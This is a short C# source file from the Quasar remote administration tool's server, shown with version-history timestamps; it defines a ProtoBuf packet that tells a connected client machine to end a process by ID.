Quasar/Server/Core/Packets/ServerPackets/KillProcess.cs

25 lines
444 B
C#
Raw Normal View History

2014-07-08 12:58:53 +00:00
using ProtoBuf;
2015-01-13 18:29:11 +00:00
namespace xServer.Core.Packets.ServerPackets
2014-07-08 12:58:53 +00:00
{
[ProtoContract]
public class KillProcess : IPacket
{
[ProtoMember(1)]
public int PID { get; set; }
public KillProcess()
{
}
2014-07-08 12:58:53 +00:00
public KillProcess(int pid)
{
this.PID = pid;
}
public void Execute(Client client)
{
client.Send<KillProcess>(this);
}
}
}